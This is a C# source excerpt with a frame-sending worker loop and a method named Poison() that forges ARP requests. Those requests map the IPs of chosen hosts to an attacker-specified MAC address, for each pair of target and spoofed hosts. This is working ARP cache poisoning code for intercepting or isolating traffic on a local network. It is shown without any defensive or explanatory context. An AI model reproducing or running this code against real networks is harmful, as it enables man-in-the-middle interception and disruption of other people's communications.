private void MainWorkingLoop()
{
byte[] bFrameBytes = null;
int iCount = 0;
try
{
while (bRun)
{
lock (qFrameQueue)
{
iCount = qFrameQueue.Count;
}
while (iCount > 0)
{
try
{
lock (qFrameQueue)
{
bFrameBytes = qFrameQueue.Dequeue();
}
if (bFrameBytes != null)
{
lock (oInterfaceStartStopLock)
{
wpcDevice.SendPacket(bFrameBytes);
}
}
}
catch (Exception ex)
{
TrafficDescriptionFrame tdf = new TrafficDescriptionFrame(this, DateTime.Now);
tdf.EncapsulatedFrame = new RawDataFrame(bFrameBytes);
PushDroppedFrame(tdf);
InvokeExceptionThrown(ex);
}
lock (qFrameQueue)
{
iCount = qFrameQueue.Count;
}
}
areWorkToDo.WaitOne();
}
}
finally
{
lock (qFrameQueue)
{
qFrameQueue.Clear();
}
}
}
private void Poison()
{
EthernetFrame ethFrame;
ARPFrame arpFrame;
lock (ipaToIsolate)
{
foreach (ARPHostEntry heToIsolate in ipaToIsolate)
{
lock (ipaToSpoof)
{
foreach (ARPHostEntry heToSpoof in ipaToSpoof)
{
if (heToIsolate != heToSpoof)
{
ethFrame = new EthernetFrame();
ethFrame.CanocialFormatIndicator = false;
ethFrame.Destination = heToIsolate.MAC;
ethFrame.Source = macAddressRedirectTo;
ethFrame.VlanTagExists = false;
ethFrame.EtherType = EtherType.ARP;
arpFrame = new ARPFrame();
arpFrame.DestinationIP = heToIsolate.IP;
arpFrame.DestinationMAC = MACAddress.Parse("00:00:00:00:00:00");
arpFrame.SourceIP = heToSpoof.IP;
arpFrame.SourceMAC = macAddressRedirectTo;
arpFrame.ProtocolAddressType = EtherType.IPv4;
arpFrame.HardwareAddressType = HardwareAddressType.Ethernet;
arpFrame.Operation = ARPOperation.Request;
ethFrame.EncapsulatedFrame = arpFrame;
wpc.SendPacket(ethFrame.FrameBytes);
}
}
}
}
}
}